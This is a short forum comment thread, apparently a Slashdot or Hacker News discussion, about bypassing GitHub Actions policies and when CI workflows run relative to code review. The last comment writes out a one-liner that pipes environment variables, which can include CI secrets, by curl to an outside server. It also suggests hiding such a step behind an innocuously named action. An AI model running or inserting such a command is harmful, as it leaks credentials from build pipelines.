Re:Bypassing GitHub Actions policies in the dumbest way poss...
by internobody on Wednesday June 11, 2025 @10:30AM
(#44248023)
It's not simply a matter of review; depending on your setup these bypasses could be run before anyone even has eyes on the changes if your CI is triggered on push or on PR creation.
[ Parent
| on HN ]
Re:Bypassing GitHub Actions policies in the dumbest way poss...
by jadamson on Wednesday June 11, 2025 @11:16AM
(#44248550)
`pull_request_target` (which has access to secrets) runs in the context of the destination branch, so any malicious workflow would need to have already been committed.
GitHub has a page on this:
https://securitylab.github.com/resources/github-actions-prev...
Re:Bypassing GitHub Actions policies in the dumbest way poss...
by rawling on Wednesday June 11, 2025 @11:08AM
(#44248478)
But similarly, couldn't you just write harmful stuff straight into the action itself?
Re:Bypassing GitHub Actions policies in the dumbest way poss...
by mystifyingpoi on Wednesday June 11, 2025 @01:49PM
(#44250044)
You definitely could, but it is more nuanced than that. You really don't want to be seen doing `env | curl -X POST http://myserver.cn` in a company repository. But using a legitly named action doesn't look too suspicious.